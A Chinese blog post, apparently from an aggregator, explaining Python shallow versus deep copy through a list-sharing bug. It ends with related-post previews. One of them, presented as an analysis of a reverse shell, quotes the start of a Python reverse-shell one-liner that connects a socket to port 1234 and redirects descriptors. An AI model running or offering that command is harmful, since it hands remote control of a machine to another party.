前一次設計的檔案讀寫操作過多,每個檔案只讀取一次
用到了re模組,主要用來作正則匹配的,但是由於讀取檔案來做匹配,所以字串中會包含\n,所以re.s|re.m|re.l很重要,用來告之進行多行匹配
print list[0].cdn #["快網",「快網」]
print list[18].cdn #["快網",「快網」]
就像是cdn被共用了
因此需要用深拷貝將其拷貝出來再複製,這是大多數新人容易犯的錯誤(包括我)
#此處是蒐集到的理解深拷貝,前拷貝的兩個例子
結果:[[4, 4], [4, 4], [4, 4], [4, 4], [4, 4]]
[[0, 0], [1, 1], [2, 2], [3, 3], [4, 4]]
#另乙個例子
1. copy.copy 淺拷貝 只拷貝父物件,不會拷貝物件的內部的子物件。
2. copy.deepcopy 深拷貝 拷貝物件及其子物件
用乙個簡單的例子說明如下:
>>>import copy
>>>a = [1, 2, 3, 4, ['a', 'b', 'c']]
>>> b = a
>>> c = copy.copy(a)
>>> d = copy.deepcopy(a)
很容易理解:a是乙個列表,表內元素a[4]也是乙個列表(也就是乙個內部子物件);b是對a列表的又乙個引用,所以a、b是完全相同的,可以通過id(a)==id(b)證明。
第4行是淺拷貝,第五行是深拷貝,通過id(c)和id(d)可以發現他們不相同,且與id(a)都不相同:
>>> id(a)
19276104
>>> id(b)
19276104
>>> id(c)
19113304
>>> id(d)
19286976
至於如何看深/淺拷貝的區別,可以通過下面的操作來展現:
這時再檢視結果:
>>> a
[1, 2, 0, 4, ['a', 'b', 'c', 'hello'], 5]
>>> b
[1, 2, 0, 4, ['a', 'b', 'c', 'hello'], 5]
>>> c
[1, 2, 3, 4, ['a', 'b', 'c', 'hello']]
>>> d
[1, 2, 3, 4, ['a', 'b', 'c']]
可以發現a、b受了操作1、2的影響,c只受操作2影響,d不受影響。a、b結果相同很好理解。由於c是a的淺拷貝,只拷貝了父物件,因此a的子物件( ['a', 'b', 'c', 'hello'])改變時會影響到c;d是深拷貝,完全不受a的影響
一次批量操作的優化
最近在做賬務系統的批量核銷介面的優化,該介面的功能抽象來說就是暴露給另乙個系統,每次呼叫會進行計算並更新庫里的值 感覺好普通的樣子 假設我這邊的系統是r received 對方系統是s send 那麼現在的工作流程是這樣的 1.請求分充值請求和消費請求。充值請求是商戶維度的,而消費是訂單維度的。而商...
對udp dns的一次思考
目前昨天查乙個線上問題 dns伺服器在我們的裝置,有大量的終端到裝置上請求解析網域名稱,但是一直是單執行緒,dns報文處理不過來 然而裝置是多核,dns伺服器一直不能利用多核資源,所以能不能使用多執行緒進行處理呢?udp不像tcp那樣,udp沒有連線的概念,也就是沒有通過建立多個連線來提高對dns伺...
記一次對python反彈shell的分析
昨天學習了 shell,對python彈shell產生了一些疑惑 python c import socket,subprocess,os s socket.socket socket.af inet,socket.sock stream s.connect 0.0.0.0 1234 os.dup2...